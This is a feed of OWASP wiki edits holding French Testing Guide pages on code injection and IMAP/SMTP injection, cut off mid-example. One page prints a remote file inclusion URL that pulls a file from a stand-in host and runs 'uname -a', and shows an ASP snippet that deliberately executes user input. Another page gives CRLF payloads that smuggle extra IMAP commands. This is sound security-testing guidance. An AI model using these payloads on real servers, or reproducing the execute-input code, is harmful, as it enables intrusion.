[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187918</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187918"/>
				<updated>2015-01-12T18:48:17Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichier locaux]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.12_Tester_les_injections_de_code_(OTG-INPVAL-012)&amp;diff=187917</id>
		<title>4.8.12 Tester les injections de code (OTG-INPVAL-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.12_Tester_les_injections_de_code_(OTG-INPVAL-012)&amp;diff=187917"/>
				<updated>2015-01-12T18:13:38Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire ==   Cette section décrit comment un testeur peut vérifier s'il est possible de saisir du code comme entrée sur une page we...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
 &lt;br /&gt;
Cette section décrit comment un testeur peut vérifier s'il est possible de saisir du code comme entrée sur une page web afin de le faire exécuter par le serveur web.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Lors des tests d'injection de code ([[Code Injection]]), un testeur envoie des entrées qui seront traîtées par le serveur web comme du code dynamique ou des fichiers inclus. Ces tests peuvent viser divers moteurs de scripts serveur, par exemple ASP ou PHP. La protection contre ces attaques passe par la validation des entrées et de bonnes pratiques de développement sécurisé.&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
 &lt;br /&gt;
====Tester les vulnérabilités d'injection PHP====&lt;br /&gt;
&lt;br /&gt;
En utilisant la chaîne de requête, le testeur peut injecter du code (dans cet exemple, une URL malicieuse) qui sera traîté comme un fichier inclus :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&amp;amp;cmd=uname%20-a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Resultat attendu:'''&lt;br /&gt;
&lt;br /&gt;
L'URL malicieuse est acceptée comme paramètre pour la page PHP, qui va utiliser plus tard cette valeur pour inclure le fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise ===&lt;br /&gt;
&lt;br /&gt;
====Tester les vulnérabilités d'injection de code ASP====&lt;br /&gt;
&lt;br /&gt;
Il faut examiner le code pour repérer les entrées utilisateur utilisées pour exécuter des fonctions. L'utilisateur peut-il entrer dans commandes dans un champ de saisie de données ? Ici, le code ASP va entregistrer les entrées dans un fichier, puis les exécuter :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 If not isEmpty(Request( &amp;quot;Data&amp;quot; ) ) Then&lt;br /&gt;
 Dim fso, f&lt;br /&gt;
 'User input Data is written to a file named data.txt&lt;br /&gt;
 Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
 Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;data.txt&amp;quot; ), 8, True)&lt;br /&gt;
 f.Write Request(&amp;quot;Data&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
 f.close&lt;br /&gt;
 Set f = nothing&lt;br /&gt;
 Set fso = Nothing&lt;br /&gt;
&lt;br /&gt;
 'Data.txt is executed&lt;br /&gt;
 Server.Execute( &amp;quot;data.txt&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
 Else&lt;br /&gt;
 %&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&lt;br /&gt;
 &amp;lt;input name=&amp;quot;Data&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Enter Data&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 End If&lt;br /&gt;
 %&amp;gt;)))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
* Security Focus - http://www.securityfocus.com&lt;br /&gt;
&lt;br /&gt;
* Insecure.org - http://www.insecure.org&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org&lt;br /&gt;
&lt;br /&gt;
* Reviewing Code for [[OS Injection]] &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187916</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187916"/>
				<updated>2015-01-12T18:13:13Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.11_Injections_IMAP_SMTP_(OTG-INPVAL-011)&amp;diff=187915</id>
		<title>4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.11_Injections_IMAP_SMTP_(OTG-INPVAL-011)&amp;diff=187915"/>
				<updated>2015-01-12T17:47:24Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == Cette menace impacte toutes les applications, généralement les webmail, communiquant avec des serveurs e-mail (IMAP/SMTP)...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Cette menace impacte toutes les applications, généralement les webmail, communiquant avec des serveurs e-mail (IMAP/SMTP). Le but du test est de vérifier si l'on peut injecter des commandes IMAP/SMTP arbitraires dans les serveurs e-mail, en profitant d'un manque de validation des entrées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La technique d'injection IMAP/SMTP est plus efficace so le serveur e-mail n'est pas directement accessible depuis Internet. Si la communication complète avec le serveur e-mail est possible, il est recommander de faire un test direct.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une injection IMAP/SMTP permet d'accéder à un serveur e-mail qui n'est pas directement accessible depuis Internet. Dans certains cas, ces systèmes internes n'ont pas le même niveau de sécurité et de durcissement que celui appliqué aux serveurs web frontaux. Ces serveurs e-mail peuvent être plus vulnérables aux attaques venus d'utilisateurs (voir le schéma présenté en figure 1).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:imap-smtp-injection.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
Figure 1 - Communication avec les serveurs e-mail utilisant une technique d'injection IMAP/SMTP&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La figure 1 illustre le flux de trafic généralement constaté quand on utilise les technologies webmail. Les étapes 1 et 2 montrent les interactions avec le client webmail, alors que l'étape 3 montre le testeur contournant les client webmail et interagissant directement avec les serveurs e-mail.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette technique permet une large gamme d'actions et d'attaques. Les possibilités dépendent du type et du périmètre d'injection, et de la technologie de serveur e-mail testée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quelques exemples d'attaque utilisant les injection IMAP/SMTP :&lt;br /&gt;
* Exploitation de vulnérabilités dans les protocols IMAP et SMTP&lt;br /&gt;
* Contournement de restrictions applicatives&lt;br /&gt;
* Contournement de processus d'anti-automatisation&lt;br /&gt;
* Fuites d'informations&lt;br /&gt;
* Relais et SPAM&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
Les schémas d'attaque standards sont :&lt;br /&gt;
* Identification des paramètres vulnérables&lt;br /&gt;
* Compréhension du flux de données et de la structure de déploiement du client&lt;br /&gt;
* Injection de commandes IMAP/SMTP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Identification des paramètres vulnérables===&lt;br /&gt;
Pour détecter les paramètres vulnérables, le testeur doit analyser le traitement des entrées par l'application. Pour tester la validation des entrées, le testeur doit envoyer des requêtes corrompues ou malicieuses au serveur et analyser les réponses. Dans une application sécurisée, la réponse doit être une message d'erreur avec quelques actions informant le client que quelque chose s'est mal passé. Dans une application vulnérable, la requête malicieuse sera traîtée par l'application, qui répondra avec un message &amp;quot;HTTP 200 OK&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important de remarquer que les requêtes envoyées doivent correspondre à la technologie testée. Envoyer des chaînes d'injection SQL pour Microsoft SQL Server vers un serveur MySQL résultera en faux positifs. Dans ce cas, il faut envoyer des commandes IMAP malicieuses, puisque c'est ce protocol qui est testé.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les paramètres spéciaux IMAP à utiliser : &lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Sur le serveur IMAP''' || '''Sur le serveur SMTP'''&lt;br /&gt;
|-&lt;br /&gt;
 || Authentification || Emetteur d'e-mail &lt;br /&gt;
|-&lt;br /&gt;
 || opérations sur les boites e-mail (list, read, create, delete, rename) || Destinataire d'e-mail&lt;br /&gt;
|-&lt;br /&gt;
 || operations sur les messages (read, copy, move, delete) || Titre&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
 || Déconnexion || Corps du message&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Pièces jointes&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Dans cet exemple, le paramètre &amp;quot;mailbox&amp;quot; est testé en manipulant toutes les requêtes avec le paramètre : &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les exemples suivants peuvent être utilisés :&lt;br /&gt;
* Affecter une valeur nulle au paramètre :&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Remplacer uen valeur par une valeur aléatoire :&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=NOTEXIST&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Ajouter d'autres valeurs au paramètre :&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX PARAMETER2&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Ajouter des caractères spéciaux non-standards (ex.: \, ', &amp;quot;, @, #, !, |) :&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;quot;&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Supprimer le paramètre :&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le resutlat final des tests ci-dessus donne au testeur trois possibilités : &amp;lt;br&amp;gt;&lt;br /&gt;
S1 - L'application retourne un code ou un message d'erreur &amp;lt;br&amp;gt;&lt;br /&gt;
S2 - L'application ne retourne pas de code ou de message d'erreur, mais n'exécute pas l'opération demandée &amp;lt;br&amp;gt;&lt;br /&gt;
S3 - L'application ne retourne pas de code ou de message d'erreur, et exécute normalement l'opération demandée &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les situation S1 et S2 sont des injections IMAP/SMTP réussies.&lt;br /&gt;
&lt;br /&gt;
Le but d'un attaquant est de recevoir la réponse S1, puisque cela indique que l'application est vulnérable aux injections et autres manipulations.&lt;br /&gt;
&lt;br /&gt;
Supposons qu'un utilisateur récupère les entêtes d'e-mail avec la requête HTTP suivante :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/view_header.php?mailbox=INBOX&amp;amp;passed_id=46105&amp;amp;passed_ent_id=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un attaquant peut modifier la valeur du paramètre INBOX en injectant le caractère &amp;quot; (%22 en ecodage URL) :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/view_header.php?mailbox=INBOX%22&amp;amp;passed_id=46105&amp;amp;passed_ent_id=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, la réponse de l'application peut être :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ERROR: Bad or malformed request.&lt;br /&gt;
Query: SELECT &amp;quot;INBOX&amp;quot;&amp;quot;&lt;br /&gt;
Server responded: Unexpected extra arguments to Select&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La situation S2 est plus compliquée à tester avec succès. Le testeur doit utiliser des injections de commandes en aveugle afin de déterminer si le serveur est vulnérable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par contre, la situation S3 n'est pas concernée par ce paragraphe.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Resultat attendu :'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Liste de paramètres vulnérables&lt;br /&gt;
* Fonctionnalités impactées&lt;br /&gt;
* Type d'injection possible (IMAP/SMTP)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Compréhension du flux de données et de la structure de déploiement du client===&lt;br /&gt;
&lt;br /&gt;
Après avoir identifié tous les paramètres vulnérables (par exemple, &amp;quot;passed_id&amp;quot;), le testeur doit déterminer quel niveau d'injection est possible et ensuite concevoir un plan de test pour exploiter l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, nous avons détecté que le paramètre &amp;quot;passed_id&amp;quot; de l'application est vulnérable et qu'il est utilisé dans la requête suivante :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=46225&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En utilisant le cas de test suivant (founissant une valeur alphanumérique quand une valeur numérique est attendue) :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=test&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
va générer le message d'erreur suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ERROR : Bad or malformed request.&lt;br /&gt;
Query: FETCH test:test BODY[HEADER]&lt;br /&gt;
Server responded: Error in IMAP command received by server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans cet exemple, le message d'erreur retourne le nom de la commande exécutée ainsi que ses paramètres.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans d'autres situations, le message d'erreur (&amp;quot;non contrôlé&amp;quot; par l'application) contient le nom de la commande exécutée, mais en lisant la RFC adéquate (voir le paragraphe &amp;quot;Références&amp;quot;), le testeur comprendra quelles autres commandes peuvent être exécutées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'application ne retourne pas de message d'erreur assez descriptif, le testeur doit analyser les fonctionnalités impactées pour déduire toutes les commandes possibles (et leurs paramètres) associées avec la fonctionnalité. Par exemple, si un paramètre vulnérable a été détecté dans la fonctionnalité de création de boite e-mail, il est logique de considérer que la commande IMAP concernée est &amp;quot;CREATE&amp;quot;. D'après la RFC, la commande CREATE accepte un paramètre spécifiant le nom de la boite e-mail à créer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Resultat attendu:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Liste des commandes IMAP/SMTP impactées&lt;br /&gt;
* Type, valeur et nombre de paramètres attendus par les commandes IMAP/SMTP impactées&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Injection de commandes IMAP/SMTP===&lt;br /&gt;
&lt;br /&gt;
Une fois que le testeur à identifié les paramètres vulnérables et a analysé le contexte dans lequel ils sont exécutés, l'étape quivante est d'exploiter la fonctionnalité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette étape a deux issues possibles :&amp;lt;br&amp;gt;&lt;br /&gt;
1. L'injection est possible dans un état non-authentifié : la fonctionnalité impactée ne nécessite pas que l'utilisateur soit authentifié. Les commandes IMAP (injectées) disponibles sont limitées à : CAPABILITY, NOOP, AUTHENTICATE, LOGIN, et LOGOUT.&amp;lt;br&amp;gt; &lt;br /&gt;
2. L'injection n'est possible que dans un état authentifié : la réussite de l'exploitation nécessite que l'utilisateur soit authentifié avant de pouvoir continuer les tests.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans tous les cas, la structure typique d'une injection IMAP/SMTP sera la suivante :&lt;br /&gt;
* Entête : fin de la commande attendue ;&lt;br /&gt;
* Corps : injection de la nouvelle commande ;&lt;br /&gt;
* Pied : début de la commande attendue.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important de se souvenir que, pour exécuter une commande IMAP/SMTP, la commande précédente doit être terminée par la séquence CRLF (%0d%0a).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposons que pandant l'étape 1 (&amp;quot;Identification des paramètres vulnérables&amp;quot;), l'attaquant détecte que le paramètre &amp;quot;message_id&amp;quot; de la requête suivante est vulnérable :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/read_email.php?message_id=4791&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposons que le résultat de l'analyse faite en étape 2 (&amp;quot;Compréhension du flux de données et de la structure de déploiement du client&amp;quot;) a identifié la commande et les arguments associés à ce paramètre comme étant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
FETCH 4791 BODY[HEADER]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce scénario, la structure de l'injection IMAP sera :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Qui va générer les commandes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
???? FETCH 4791 BODY[HEADER]&lt;br /&gt;
V100 CAPABILITY&lt;br /&gt;
V101 FETCH 4791 BODY[HEADER]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Où:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
